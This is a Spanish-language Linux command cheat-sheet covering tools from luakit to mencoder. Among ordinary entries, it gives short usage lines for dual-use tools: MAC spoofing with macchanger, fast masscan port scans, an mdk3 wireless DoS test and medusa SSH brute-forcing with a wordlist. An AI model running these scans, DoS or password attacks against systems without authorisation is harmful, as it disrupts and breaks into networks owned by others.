settings.on["youtube.com"].webview.enable_plugins = true

settings.window.search_engines.archwiki  = "https://wiki.archlinux.org/?search=%s"

settings.window.search_engines.aur       = "https://aur.archlinux.org/packages.php?
O=0&K=%s&do_Search=Go"

settings.window.search_engines.duckduckgo = "https://duckduckgo.com/?q=%s"

settings.window.search_engines.github    = "https://github.com/search?q=%s"

settings.window.search_engines.google    = "https://google.com/search?q=%s"

settings.window.search_engines.imdb      = "http://www.imdb.com/find?s=all&q=%s"

settings.window.search_engines.ncbi      = "https://www.ncbi.nlm.nih.gov/gquery/?
term=%s"
```

Atajos de teclado en:

```
$ nano .config/luakit/binds.lua
Algunos de los mismos son:
```

Desplazamiento y visialización:

```

j (bajar por la página)
k (Subir)
h (Hacia la izquierda)
l (Hacia la derecha)
Page_Up (Ir al principio de la página)
Page_Down (Ir a final de la página del todo)
^d (Desplazamiento rápido hacia el final de la página)
^u (Desplazamiento rápido hacia el principio de la página)
+ (Aumentar medida de la fuente)
- (Disminuir la medida de la fuente)
= (Restablecer los parámetros por defecto)
F11 (Pantalla complet)
Abrir/ cerrar páginas y pestañas

```

```

o (Abrir url [:open....])
O (Edita la barra de direcciones para modificar la url)
t (Abrir url en una nueva pestaña [:tabopen....])
^t (Abrir nueva pestaña con la página de inicio)
T (Edita la barra de direcciones y la abre en una nueva pestaña)
d (Cierra la pestaña activa)
D (Cierra la ventana activa)
u (reabre la última pestaña cerrada)
w (Nueva ventana)
Moverse por la página

```

```

^o (página anterior)
^i (página siguiente)
gt (ir a la pestaña anterior)
gT (ir a la pestaña siguiente)
gh (ir a la página de inicio)
b (Volver a la página anterior)
:f (Ir a la página siguiente)
f (Marca todos los enlaces con un número y si se teclea se entra en el enlace)
F (Lo mismo pero en una nueva pestaña)
r (Recargar la página)
R (Recargar ignorando la caché)
Direcciones de interés

```

```

B (Escribe la página actual en los enlaces de interés)
gb (Abrir los enlaces de interés en la pestaña actual)
gB (Lo mismo en una nueva pestaña)
ZZ (Cerrar guardando las pestañas abiertas)
Descargas

```

```

;s (Marcará todas las descargas con un número que si se tecla se procederá a descargar)
gd (Abrir la página que muestra todas las descargas activas en la pestaña activa)
gD (Lo mismo en una nueva pestaña)
Si una vez abierta la barra de navegación [con o, t..] colocamos:

```

```

gg palabra (Buscará palabra en googl)
ddg palabra (lo hará en el buscador duckduckgo)
wp palabra (La buscará en la wikipedia)
yu palabra (En youtube)

```

## luit

Utilidad para traducir el conjunto de caracteres de un programa para que su salida se pueda mostrar correctamente en un emulador de terminal que usa un juego de caracteres diferente. El objetivo principal de luit es permitir que las aplicaciones "heredadas" que usan juegos de caracteres distintos de UTF-8 funcionen con emuladores de terminal contemporáneos.

```

$ LC_ALL=ja_JP luit
modifica la terminal a la codificación japonesa. Es preciso tener instalada la codificación

```

```

$ luit -list | grep ISO885

```

```

$ luit -encoding 'ISO 8859-1' xterm

```

## lxde

Escritorio ligero. Sus componentes:

```
pcmanfm (gestor de archivos)
lxlauncher (lanzador de aplicaciones)
lxpanel (panel de escritorio)
lxsession-edit (cambiar el gestor de ventanas y las aplicaciones ejecutadas al inicio)
lxsession (gestor de sesiones con las opciones cerrar, reiniciar y suspender)
lxappearance (gestor de temas. Permite cambiar el aspecto, iconos y tipografías)
leafpad (editor de texto)
xarchiver (gestor de archivos comprimidos)
gpview (visor de imágenes)
lxterminal (Consola)
lxtask (administrador de tareas y monitor de sistema)
openbox (gestor de ventanas)
lxrandr (gestor de resolución de pantalla y monitores externos)
lxshortcut (editor de lanzadores)
lxmusic (reproductor de música basado en xmms2)
```

Archivos de configuración de los elementos del escritorio lxde:

```
~/.config/gtkrc-2.0 (Temas de escritorio GTK+ e iconos)
~/.config/leafpad/leafpadrc (Editor de textos Leafpad)
~/.config/lxpanel/LXDE/panels/panel (Paneles)
~/.config/lxpanel/LXDE/config (Lanzadores de aplicaciones del panel)
~/.config/lxsession/LXDE/config (Administrador de ventanas)
~/.config/lxterminal/lxterminal.conf (Terminal)
~/.config/openbox/lxde-rc.xml (Openbox)
~/.config/openbox/menu.xml (Menu de Openbox)
~/.config/pcmanfm/main.lxde (Pcmanfm)
```

1.-

Arrancar aplicaciones al inicio:

```
# /etc/xdg/lxsession/LXDE/autostart
```

Colocar las aplicaciones precedidas de una @:

```
@liferea
@gdesklets
```

2.-

Crear iconos en el escritorio:

Colocar los archivos en la carpeta Desktop o Escritorio si se tiene en español:

```
$ nano Desktop/home.lnk
```

Y colocamos el siguiente contenido de ejemplo:

```
[Desktop Entry]
Name=Personal
Type=Application
Comment=Carpeta personal
Terminal=false
Exec=pcmanfm ~/
Icon=folder_home.png
Encoding=UTF-8
```

Para colocar la papelera:

```
$ nano Desktop/papelera.lnk
Y pegar el contenido:
[Desktop Entry]
Name=Papelera
Type=Application
Comment=Papelera
Terminal=false
Exec=pcmanfm trash:///
Icon=emptytrash.png
Encoding=UTF-8
```

3.-

Modificar iconos:

```
$ ls /usr/share/icons/
```

## L

```
Ver el listado de los disponibles
```

```
# nano /usr/share/icons/default/index.theme
```

Y en apartado Inherits colocar el deseado:

```
Inherits = ComixCursors-Red-Large
```

Reiniciar.

4.-

Para no cambiar de escritorio con movimientos del mouse comentar el siguiente código del lxde-rc.xml con `<!-- y -->`:

```
<!--  
  
<mousebind button="Up" action="Click">  
    <action name="DesktopPrevious"/>  
</mousebind>  
  
<mousebind button="Down" action="Click">  
    <action name="DesktopNext"/>  
</mousebind>  
  
-->
```

5.-

Si queremos que alguna aplicación se abra en determinado escritorio:

```
$ nano .config/openbox/lxde-rc.xml
```

Colocar el siguiente código en el apartado applications:

```
<application class="Firefox">  
    <desktop>2</desktop>  
</application>  
Esto abrirá firefox en el escritorio 2
```

6.-

Para arrancar el sistema sin colocar la contraseña:

```
# nano /etc/lxdm/lxdm.conf
```

Y en elk apartado [base] descomentamos la linea:

```
autologin=usuario
```

## lxlock

Bloquea la sesión del usuario usando el protector de pantalla. Entrando la contraseña se desbloquea.

```
$ lxlock
```

## lxpanelctl

Controla lxpanel.

```
$ lxpanelctl menu
abre el menú de lxpanel

$ lxpanelctl config
Su configuración

$ lxpanelctl run
Cuadro para entrar una aplicación para ejecutarla
```

Otras opciones:

restart (Reiniciarlo)

exit (Matarlo)

## lynis

Busca en el sistema posibles debilidades de configuración sin realizar ninguna modificación.

```
# lynis
Visualizar las opciones

# lynis --check-update
descargar actualizaciones

# lynis -c
lanzar el escaneo

# lynis --cronjob
Lanzar el escaneo sin pedir confirmaciones en cada apartado

# cat /var/log/lynis.log | grep Warning
ver las vulnerabilidades

# cat /var/log/lynis.log | grep Suggestion
ver sugerencias que nos realiza lynis
```

## lynx

Navegador web por consola.

```
$ lynx -dump http://www.tuxapuntos.com | grep Enviado
Ver las últimas entradas en la web especificada

$ lynx -dump http://www.tuxapuntos.com | grep Enviado | grep templix
Ver si entre las últimas entradas hay alguna del usuario templix

$ lynx -source http://www.tuxapuntos.com
ver el código fuente

$ lynx -dump http://checkip.dyndns.com | cut -d ' ' -f7
mostrar IP externa

$ lynx -dump http://www.tuxapuntos.com | awk '/http/{print $2}' | egrep "^https{0,1}"
ver todos los enlaces de una web

$ lynx -dump http://www.lapipaplana.com/ | awk '/http/{print $2}' | sort -
Lo mismo
```

## lz4

Comprimir y descomprimir ficheros.

```
$ lz4 file
forma básica para comprimir un fichero
```

```
$ lz4 -d file.lz4
descomprimir
```

```
$ lz4 -t file.lz
test de integridad de un archivo comprimido
```

## lzip

compresor/descompresor de archivos. Formato de salida .lz

```
$ lzip archivo.txt
Lo substituye por archivo.txt.lz
```

```
$ lzip -d archivo.txt.lz
descomprimir
```

## lzma

Compresor/descompresor de archivos. Formato de salida .lzma

```
$ lzma fichero.txt
Substituye fichero.txt por fichero.txt.lzma
```

```
$ lzma -d fichero.txt.lzma
Descomprimir
```

---

## M

---

### macchanger

Modificar la MAC

```
# macchanger -s eth0
Muestra la MAC
```

```
# macchanger -m 00:01:02:03:04:05 eth0
poner la tarjeta de red a la escucha por la interfaz eth0 con la MAC especificada
```

```
# macchanger -A eth0
Establece proveedor MAC aleatorio
```

```
# macchanger -r eth0
MAC completamente aleatoria
```

```
# macchanger -l
Listar los comienzos de las MAC de los principales fabricantes
```

```
# macchanger -list=Sony
Muestra los comienzos de las MAC de Sony
```

### magicrescue

Recuperar archivos borrados

```
$ magicrescue -d /home/usuario/rescue -r /usr/share/magicrescue/recipes/avi /dev/sda3
```

Notas.-

-d .- Destino de los archivos recuperados

-r .- Tipo de archivo a recuperar (formatos en /usr/share/magicrescue/recipes)

El último parametro indica el disco a analizar

### mail

mandar correos en linea de consola.

```
$ mail -v usuario@gmail.com
```

```
Subject: pruebas de mail
Cuerpo del mensaje
. (el punto cierra el mensaje)
Cc: (intro)
$
```

```
$ cat archivo.txt | mail -s "pruebas" usuario@gmail.com
```

## M

```
$ echo "pepe" | mail -s "Asunto" usuario@gmail.com
```

```
$ echo "pepe" | mail -s "Asunto" usuario@dominio -c usuario2@dominio -c usuario3@dominio  
con varios destinatarios
```

-v .- muestra todo el proceso hasta el destinatario.

-s .- asunto del mail.

-b .- Enviar copias ocultas a la lista. Nombres separada por comas.

1.-

Como correo del sistema:

```
$ mail (Muestra los correos del sistema)  
& (indica que estamos en el prompt del comando mail)  
Opciones disponibles:
```

```
d (borra el mensaje marcado con '>' en el listado)  
d 1-8 (Borra los mensajes del 1 al 8)
```

```
d* (Borra todos los mensajes)
```

```
? (listado de comandos disponibles)  
7 (muestra el mensaje 7)  
h (muestra la lista de mensajes)  
h 4 (muestra la lista de mensajes comenzando en el 4)  
q (sale de mail)
```

## mailutil

Utilidades relacionadas con el correo

```
$ mailutil transfer {imap.gmail.com/ssl/user=usuario@gmail.com} Gmail/ -v  
hacer copia de seguridad de los correos de gmail
```

## mailx

Programa para enviar y recibir correo (versión mejorada de 'mail' en Unix).

```
$ mailx -s "pruebas" usuario@gmail.com  
Cc otro_correo@gmail.com  
Cuerpo del texto del correo  
Ctrl D (para envío)
```

```
$ mailx -s "un adjunto" usuario@gmail.com < texto_para_enviar.txt  
enviar un adjunto
```

## maim

Capturas de pantalla del escritorio.

```
$ maim captura.png  
forma básica
```

```
$ maim --select captura.png  
seleccionar región
```



## **maint-guide**

Este paquete contiene la Guía para nuevos mantenedores de Debian. Este documento intenta describir la construcción de un paquete Debian para usuarios comunes y potenciales de Debian. Utiliza un lenguaje bastante no técnico y está bien cubierto con ejemplos prácticos. En el navegador abrir la url `/usr/share/doc/maint-guide-ca/html/index.ca.html`

## **makeinfo**

Compilar archivos texinfo a distintos formatos.

```
$ makeinfo --html archivo.texi
a html
```

```
$ makeinfo --pdf archivo.texi
```

## **makepasswd**

Crea contraseñas aleatorias usando `/dev/urandom`.

```
$ makepasswd --count=5 --chars=12
5 y de 12 caracteres
```

```
$ makepasswd --count=5 --chars=12 --count=5 --crypt
y cifrar el resultado de cada una de ellas. Otra opcion es crypt-md5
```

## **makepkg**

Script para automatizar la construcción de paquetes para Archlinux.

```
# makepkg --asroot
Lanzado en el interior del directorio donde se encuentra el PKGBUILD, crea el paquete .pkg.tar.xz,
instalable con pacman -U
```

```
# makepkg --asroot --source
Lanzado en el interior del directorio donde se encuentra al PKGBUILD, crea el paquete .src.tar.gz
listo para subir a AUR
```

```
# makepkg --asroot -g paquete
Muestra el md5sum
```

## **maldet**

Detector de malware.

```
# maldet -a /home/usuario
```

```
# maldet -m /home/user1,/home/user2
```

```
# maldet -u
Actualización de firmas de detección de malware desde rfxn.com
```

```
# maldet report
Muestra el último reporte
```

## M

### man

Muestra la página del manual de un comando o aplicación.

```
$ man -L es comando
especificando idioma si disponible
```

```
$ man -k permissions
Busca comandos que traten sobre permissions
```

```
$ man -k vnc ssh
Buscar sobre dos comandos
```

```
$ man -t ls > ls.pdf
Formateado para salida pdf
```

```
$ man -t ls | ps2pdf -&gt; /home/usuario/ls.pdf
Lo mismo
```

```
$ man 2 read
Especificando la sección del manual. Por defecto la 1
```

Secciones:

Sección 1: Comandos generales

Sección 2: Llamadas a sistema

Sección 3: Funciones (programación en C)

Sección 4: Ficheros especiales

Sección 5: Formatos de fichero y convenciones

Sección 6: Juegos

Sección 7: Convenciones y otros

Sección 8: Comandos privilegiados y de administración

Algunas teclas de control:

```
Ctrl + f (Avanza una página)
Ctrl + b (Retrocede una página)
/palabra (Busca palabra en el texto hacia adelante)
?palabra (Busca palabra en el texto hacia atrás)
n (Elemento siguiente en la búsqueda)
N (Elemento previo en la búsqueda)
q (Salir)
```

Nota.- Normalmente "man" formatea el contenido para que coincida con el ancho del terminal. Redirige su salida a una tubería, que no tiene "ancho de pantalla", por lo tanto, formatea utilizando el ancho predeterminado de 80 caracteres. Algunas páginas de manual tienen tablas de más de 80 caracteres de ancho, por lo que aparece esta advertencia de "no se puede romper la línea".

```
<standard input>:602: warning [p 7, 11.3i, div 'an-div', 0.2i]: cannot adjust line
```

Para solucionarlo:

```
$ MANWIDTH=1250 man $COMANDO | wc -l
```

### man2html

Pasar páginas de manual a formato html. También pueden visualizarse con el navegador con `http://localhost/cgi-bin/man/man2html`.

```
$ man ls | man2html > man_ls.html
```

## man2web

Pasar páginas del manual a formato html.

```
$ man2web ifconfig > ifconfig.html
```

## manpage-alert

Comprobar ejecutables sin página de manual.

```
$ manpage-alert -p  
por su nombre
```

```
$ manpage-alert -f  
sin texto principal
```

## manpages-es

Este paquete contiene páginas de manual traducidas al español. Las traducciones exactas y las páginas del manual pueden cambiar de una versión a otra de un comando a una app, por tanto pueden no corresponder a la versión actual. El paquete contienen páginas de manual adicionales que aún no se han traducido.

## manpath

Busca la ruta de las páginas man.

```
$ manpath -g  
todas las rutas globales dentro del archivo de configuración
```

## manswitch

Busca un flag concreto en las páginas man.

```
$ manswitch ps -a
```

```
$ manswitch uname -r
```

## mapscii

google maps en la terminal. Descargar node de <<https://nodejs.org/en/>> y una vez descomprimido colocarlo en opt, crear un enlace a su ejecutable e instalar el paquete:

```
# mv node-v6.10.3-linux-x64 /opt  
# ln -s /opt/node-v6.10.3-linux-x64/bin/npm /usr/bin/  
# npm install -g mapscii
```

```
$ mapscii  
abre el mapa mundial
```

Teclas:

```
las flechas (para mover derecha, izquierda, arriba y abajo)  
a (Acercar el zoom)  
z (alejar el zoom)  
Nota.- Tambien puede ejecutarse en una terminal sin instalar nada tecleando: telnet mapscii.me y  
usando las mismas teclas.
```

## markdown

Lenguaje orientado a la escritura de documentos de manera que sean fáciles de escribir y leer directamente en texto plano convirtiéndolos en documentos XHTML bien formados. La aplicación retext permite eleborar textos en markdown y visualizarlos en tiempo real.

Sintaxis elemental [las referencias son respecto de html]:

Notas: Cada signo afecta hasta el primer salto de linea. Un bloque HTML ha de estar precedido por una linea en blanco y con una sangría de 4 espacios y en su interior no actúa la sintaxis markdown. Para escapar un carácter se precede barra [\\] . Los párrafos se delimitan con lineas en blanco.

```
# (equivalente a H1. Mismo resultado subrayando el texto con el signo = en la linea
 inmediata inferior)
## (equivalente a H2. Mismo resultado que subrayando el texto con el signo - en la linea
 inmediata inferior)
> (muestra el texto que sigue como una cita)
* (Mostrará como una lista no ordenada)
1. (Mostrará como una lista ordenada)
**texto** (texto entre dos pares de asteriscos: en negrita)
*texto* (texto entre asteriscos: en cursiva)
***texto*** (Texto entre dos trios de asteriscos: negrita y cursiva)
2 espacios al final de una linea fuera salto de linea
<URL> (Modo de colocar un enlace. Igual para un email)
--- (3 guiones muestran una linea)
[nombre del enlace](http://url "nombre que aparece al colocar el cursor") (Enlace a una
 URL. El entrecomillado es opcional)
Ejemplo: Puedes buscar en \[google](http://google.es "google") o en \[yahoo](http://es.
 yahoo.com "yahoo")
![imagen](http://url "nombre que aparece al colocar el cursor")
Ejemplo: ![Herramientas](http://www.linux-mag.com/s/i/topics/toolbox.jpg "Caja de
 herramientas")
 (Colocar una imagen)
```

## masscan

Escaner de puertos. Produce resultados similares a "Nmap". Tiene permanentemente activada las siguientes opciones: "-sS" realiza un escaneo de tipo TCP SYN, "-Pn" trata todos los hosts como si estuviesen en funcionamiento, "-n" no hace una resolución al DNS, "--randomize-hosts" aplica aleatoriedad al orden de los host a escanear, "-v" genera verbosidad y la opción "--send-eth" utiliza para el envío paquetes ethernet en bruto.

```
# masscan --regress
autotest integrado
```

```
# masscan 192.168.1.0/24 -p80,443
escanea los puertos 80 y 443 en toda la red)
```

```
# masscan 192.168.1.0/24 -p22-150
escanea el rango de puertos del 22 al 150
```

```
# masscan 192.168.1.0/16 -p80 --rate 10000 --router-mac 66-55-44-33-22-11
escaneando un puerto de una red con una MAC falsa del router para no salir a internet y enviando
10000 paquetes por segundo
```

```
# masscan 192.168.1.0/16 top-ports 100 > escaner.txt
escanear los 100 puertos más comunes según nmap y guardarlo en el archivo escaner.txt
```

```
# masscan 192.168.1.5 -p0-65535 --rate 1000000
escanear todos los puertos de una IP)
```

```
# masscan -p80 --banners 0.0.0.0/24
obtener los banners de todas las ips de una red con el puerto abierto 80
```

## match\_parens

Encontrar en textos paréntesis, llaves, corchetes, comillas, etc desaparejados.

```
$ match_parens --test texto.txt
```

## mate-screensaver-command

Mismas opciones que `gnome-screensaver-command` [ver].

## maybe

[python-pttrace]. Ejecuta un script validando sus funciones y simulando su ejecución cuando en realidad no se está ejecutando.

```
$ maybe script.sh
```

## mbmon

Monitorea las temperaturas, voltajes y rpm de ventiladores de refrigeración de la cpu.

```
# mbmon -c2
realizar dos monitoreos y salir
```

```
# mbmon -t -u -n
informando de la hora, el sistema y el hostname
```

## mbw

Determina el ancho de banda de la memoria de "copia" disponible para los programas del espacio de usuario.

```
$ mbw 1000
tamaño de la matriz para las pruebas de 1000 [ARRAY_SIZE]
```

```
$ mbw -a -n 2 1000
dos números por prueba con 1 G de memoria y no mostrar promedio [-a]
```

```
$ mbw -t 1 -n 3 1000
3 ejecuciones por prueba y solo en la DUMB ["-t 0" para la MEMCY y "-t 2" para la MCBLOCK]
```

mbw proporcionará tres métricas principales en los resultados:

MEMCPY: Mide el ancho de banda de la memoria al copiar datos utilizando la función `memcpy` estándar.

DUMB: Mide el ancho de banda de la memoria mediante un bucle simple para copiar datos.

MCBLOCK: Mide el ancho de banda de la memoria utilizando funciones de memoria con tamaños de bloque específicos.

Más o menos los resultados pueden ser:

...

```
Method: MEMCPY      Elapsed: 0.20857      MiB: 1000.00000 Copy: 4794.588 MiB/s
```

...

```
Method: DUMB        Elapsed: 0.14374      MiB: 1000.00000 Copy: 6956.909 MiB/s
```

...

```
Method: MCBLOCK     Elapsed: 0.09181      MiB: 1000.00000 Copy: 10892.356 MiB/s
```

**mc**

Gestor de archivos. La pantalla de Midnight Commander está dividida en cuatro partes. La mayor parte de la pantalla está ocupada por los dos paneles de directorio. Por defecto, la segunda línea inferior de la pantalla es la línea de órdenes del sistema y la línea inferior muestra las etiquetas de las teclas de función. La línea superior es la barra de menú que si no está visible puede verse pulsando F9. MC pone a la vista dos directorios al mismo tiempo. Uno de los paneles es el panel actual. Algunas operaciones con archivos como Renombrar y Copiar utilizan por defecto el directorio del panel no seleccionado como destino, pero siempre solicitan una confirmación previa y podemos cambiarlo. Podemos ejecutar comandos del sistema desde MC simplemente escribiéndolos. Todo lo que escribamos aparecerá en la línea de órdenes del sistema y cuando pulsemos Intro, Midnight Commander ejecutará estos comandos. Si tenemos el ratón activado [ver gpm] para seleccionar texto mantener pulsada la tecla Mayúsculas mientras se selecciona.

```
$ mc -S gotar.ini /media/servidor /home/usuario
Especificando un skin [Listado en /usr/share/mc/skins] y directorio de cada panel
```

Colocando la linea como alias en .bashrc arancará siempre con esta configuración inicial:

```
$ nano .bashrc
```

```
alias mc='mc -S gotar.ini /media/servidor /home/usuario'
```

Algunas teclas de control:

```
F1 (Despliega el Menú de ayuda)
F3 (Activa el Visor de archivos interno)
F4 (Ejecuta el Editor interno)
F5 (Copiar archivos)
F6 (Mover archivos)
F7 (Crear carpeta)
F8 (Borrar archivos)
F9 (Activa el menú principal desplegable)
F10 (Salir de mc)
Tab (Moverse entre los paneles)
Insert (Marcar para operaciones con múltiples archivos)
Supr (Eliminar archivo)
Flechas de desplazamiento (Permiten moverse por menús y submenús)
Alt-Enter (copiar el nombre de un archivo en la línea de comandos [cp o mv])
Alt-Tab (misma función que la tecla TAB en el shell [completar comando o ruta tras haber
escrito sus primeras letras])
Alt-p (Retrocede por el historico de comandos)
Alt-n (Avanza por el historico de comandos)
Alt-h (Abre una ventana con el historico de comandos)
1.-
```

Mas personalizaciones de los colores:

Colores posibles: white, gray, blue, green, yellow, magenta, cyan, red, brown, brightgreen, brightblue, brightmagenta, brightcyan, brightred, lightgray, default

Se puede incidir en los siguientes aspectos de los grupos:

```
Base colors: normal, selected, marked, markselect, errors, input, reverse, gauge
Menu colors: menu, menusel, menuhot, menuhotsel
Dialog colors: dnormal, dfocus, dhotnormal, dhotfocus
Help colors: helpnormal, helpitalic, helpbold, helplink, helpslink
Viewer color: viewunderline
Special highlighting colors: executable, directory, link, stalelink, device, special, core
Editor colors: editnormal, editbold, editmarked
Nota.- No tienen que definirse obligatoriamente todos los subgrupos
```

Para pruebas:

```
$ mc --colors normal=green,default:selected=brightmagenta,gray:marked=yellow,default:
markselect=yellow,gray:directory=blue,default:executable=brightgreen,default:link=cyan
,default:device=brightmagenta,default:special=lightgray,default:errors=red,default:
reverse=green,default:gauge=green,default:input=white,gray:dnormal=green,gray:dfocus=
brightgreen,gray:dhotnormal=cyan,gray:dhotfocus=brightcyan,gray:menu=green,default:
menuhot=cyan,default:menusel=green,gray:menuhotsel=cyan,default:helpnormal=cyan,
default:editnormal=green,default:editbold=blue,default:editmarked=gray,blue:stalelink=
red,default
Para dejar la seleccion permanente crear en el directorio (Si no existe se crea):
```

```
$ nano .moc/ini
```

## M

Y pegar:

```
[colors]
normal=green,default:selected=brightmagenta,gray:marked=yellow,default:markselect=yellow,gray:
directory=blue,default:executable=brightgreen,default:link=cyan,default:device=brightmagenta,
default:special=lightgray,default:errors=red,default:reverse=green,default:gauge=green,default
:input=white,gray:dnormal=green,gray:dfocus=brightgreen,gray:dhotnormal=cyan,gray:dhotfocus=
brightcyan,gray:menu=green,default:menuhot=cyan,default:menusel=green,gray:menuhotsel=cyan,
default:helpnormal=cyan,default:editnormal=green,default:editbold=blue,default:editmarked=gray
,blue:stalelink=red,default
```

Si lo queremos como alias:

```
$ nano .bashrc
```

Y pegamos:

```
alias mc="mc --colors normal=green,default:selected=brightmagenta,gray:marked=yellow,
default:markselect=yellow,gray:directory=blue,default:executable=brightgreen,default:
link=cyan,default:device=brightmagenta,default:special=lightgray,default:errors=red,
default:reverse=green,default:gauge=green,default:input=white,gray:dnormal=green,gray:
dfocus=brightgreen,gray:dhotnormal=cyan,gray:dhotfocus=brightcyan,gray:menu=green,
default:menuhot=cyan,default:menusel=green,gray:menuhotsel=cyan,default:helpnormal=
cyan,default:editnormal=green,default:editbold=blue,default:editmarked=gray,blue:
stalelink=red,default"
2.-
```

Para configurar las aplicaciones que se usarán por defecto:

```
$ cp /etc/mc/mc.ext .mc/bindings
```

```
$ nano .moc/bindings
```

Y modificar las que procedan. Ejemplo:

```
# Para abrir los txt com vi
shell/.txt
Open=%var{EDITOR:vi} %f
```

```
# Que los videos los abra vlc
include/video
Open=(vlc %f >/dev/null 2>&1 &)
```

## mcfly

Reemplaza la búsqueda predeterminada en el historial. Una vez instalado, abriendo un terminal y tecleando Ctrl-r abre un motor de búsqueda inteligente que tiene en cuenta el directorio de trabajo y el contexto de los comandos ejecutados recientemente. Las sugerencias de McFly se priorizan en tiempo real. Añadir a archivo:

```
$ nano ~/.bashrc
```

La linea:

```
eval "$(mcfly init bash)"
```

## mcookie

Genera números hexadecimales de 128 bits aleatorios.

```
$ mcookie
```

## mcp

[mmv)]. Permite hacer copias de varios ficheros.

```
$ mcp "/*.png" "#1#2.png.bak"
Realizará un .png.bak de todos los .png que encuentre en el presente directorio y sus
subdirectorios
```

## mcrypt

Cifrar archivos

```
$ mcrypt archivo
cifrar
```

```
$ mcrypt -u archivo
elimina el archivo inicial despues del cifrado
```

```
$ mdecrypt archivo.nc
descifrar
```

```
$ mcrypt --d archivo.nc
descifrar
```

```
$ mcrypt --list
ver lista de algoritmos usables
```

```
$ mcrypt -a rijndael-256 ecb archivo
cifrar especificando un algoritmo
```

```
$ mcrypt -p archivo
usando compresión bzip2 antes de la encriptación
```

```
$ mcrypt -b archivo
No mantener información del algoritmo usado en el cifrado
```

## md2term

Ver presentaciones de markdown para textos cortos de menos de 30 líneas y, al mismo tiempo, poder visualizarse con otras presentaciones en sitios web como GitHub, GitLab, etc. El script también se puede utilizar satisfactoriamente para ver otros textos de markdown, siempre que se respeten sus limitaciones.

```
$ md2term -k 1 -p -f file.md
manteniendo todas las marcas [-k 0 sin mantenerlas, -k2 solo para el titulo], aplicando "less" del
archivo epecificado
```

## md5sum

Escribe o comprueba sumas de verificación md5

```
$ md5sum archivo
```

```
$ md5sum -
Entra en el prompt. Teclear la palabra o frase y pulsar dos veces Ctrl+d
```

```
$ echo -n palabra | md5sum | awk '{print $1}'
md5sum de una palabra
```

## mdadm

Gestión de raids.

```
# mdadm --create --verbose /dev/md0 --level=1 --raid-devices=2 /dev/sdb1 /dev/sdc1
```

--create (Para crear el raid)

--verbose (No pregunte)

/dev/md0 (Dispositivo dónde vamos a crear el raid)

--level=1 (Nivel 1 del RAID [dos discos uno espejo del otro])

--raid-devices=2 (Número de dispositivos)

/dev/sdb1 /dev/sdc1 (los dispositivos que vamos a usar)



## mdetect

Herramienta para configurar automáticamente mouses

```
$ mdetect -v
```

## mdf2iso

Convertir imágenes MDF a ISO

```
$ mdf2iso archivo.mdf archivo.iso
```

## mdk3

Herramienta de ataque para redes IEEE 802.11

```
# mdk3 wlan0 a
Utilizar la interfaz wireless [wlan0] para ejecutar un test DoS [a]
```

## mdm

Gestor de sesión del proyecto MATE. El archivo de configuración en:

```
# nano /etc/mdm/mdm.conf
```

Seleccionar un tema de los disponibles en /usr/share/mdm/themes/:

GraphicalTheme= XXXXX

Entrada automática:

[daemon]

AutomaticLoginEnable=true

AutomaticLogin=USUARIO

## mdns-scan

Herramienta para buscar servicios mDNS/DNS-SD publicados en la red local. Recupera una lista de todos los servicios registrados en el enlace local.

```
$ mdns-scan
```

## mdp

Presentaciones con terminal en markdown.

```
$ mdp presentacion.mdp
arrancar la presentación
```

Sintaxis de la presentación

```

-> # El título de la diapositiva <-
-> Subtitulo <-
*_Otra forma de subtitular_*
> Palabra precedida del signo > muestra como una cita
* Palabras o frases precedidas por asterisco crean una lista
1. Palabras precedidas por numeros con punto crean lista
*texto marcado de color*
*_texto marcado de color y subrayado_*
[google](http://google.es)
--- (Con 3 guiones termina la diapositiva para pasar a la siguiente)
# otra forma de colocar titulo
Otro titulo (texto subrayado)
-----
'lista anidada'
- *Distros*
- Las mejores

```

- Debian
- Arch
- Ubuntu
- Mint
- Las peores
- ventanas
- manzanas comidas

texto tabulado para marcar código

## mech-dump

Muestra información sobre una página web.

```
$ mech-dump --all URL
toda
```

```
$ mech-dump --headers URL
cabeceras
```

```
$ mech-dump --links
de todos los enlaces
```

## medusa

Herramienta para ataques de fuerza bruta contra un variado conjunto de protocolos.

```
# medusa -d
módulos disponibles
```

```
# medusa -h 127.0.0.1 -u usuario -P wordlist -M ssh
```

opciones:

- h host (Especificar un host)
- H file (Especificar un fichero con un listado de hosts)
- u username (Especificar el usuario)
- U file (Especificar un listado de usuarios)
- p password (especificar una contraseña a probar)
- P file (indicamos un diccionario de contraseñas)
- M module (Especificar un módulo de los disponibles)

## melt

Editor de video y reproductor de audio.

```
$ melt video.mp4
```

```
$ melt audio.wav
```

## members

Muestra los miembros del grupo especificado.

```
$ members -a grupo
todos sus miembros
```

```
$ members -p grupo
el usuario primario
```

```
$ members -s grupo
los secundarios
```

## memoria

Liberar memoria física

```
# echo 3 > /proc/sys/vm/drop_caches
```

## memstat

Enumera todos los procesos, ejecutables y bibliotecas compartidas que están consumiendo memoria virtual.

```
$ memstat -v
```

```
$ memstat -p PID
```

## memtest86

[memtest86+]. Software diseñado para encontrar problemas que pueden afectar a los módulos de memoria RAM del equipo. La aplicación requiere iniciarse independiente del sistema operativo y consiste en escribir una serie de datos con 9 patrones de escritura distintos a la totalidad de direcciones de la memoria RAM. Una vez realizada la escritura se leerá el contenido escrito en la memoria RAM y se comprobará que sea el mismo que el contenido original. La duración del test es infinita y por lo tanto deberemos ser nosotros mismos cuando decidimos pararlo, o sea que cada "pasada" significa escribir y leer los 9 patrones de escritura distintos una vez. Si se realizan 3 "pasadas" significa repetir el test completo 3 veces. Si no se desactiva la opción se encuentra en el gestor de arranque grub [ver]

## memtester

Utilidad para probar el subsistema de memoria en busca de fallas.

```
$ memtester 10 2
con 10 MB y 2 bucles
```

## memusage

Perfila el uso de memoria de un programa mientras se está ejecutando.

```
$ memusage -p imagen script.sh
crear un gráfico con la salida del script.sh
```

## mencal

Calendario de ciclos menstruales. El archivo de configuración si no lo crea la misma aplicación despues de lanzarse con los datos de la opción -c. Puede configurarse personalmente editando el archivo:

```
$ nano ~/.mencalrc
```

```
length 28
```

```
duration 4
```

```
name periodo
```

```
color yellow
```

```
$ mencal -m -3
```

```
calendario empieza el lunes, mostrar 3 meses
```

```
$ mencal -m -y
```

```
que muestre todo el año actual
```

```
$ mencal -m -y 2025
```

```
el año especificado
```

```
$ mencal -m -3 -c s=20231101,l=28,d=4,n=periodo,f=~/.mencalrc,c=yellow
```

```
sin archivo de configuración
```

## mencoder

Procesador de video.

```
$ mencoder mf://*.jpg -ovc lavc -o out.avi
```

```
Crear un video de las imágenes de un directorio
```

```
$ mencoder "mf://*.jpg" -mf fps=0.5 -vf scale=480:360 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4
```

```
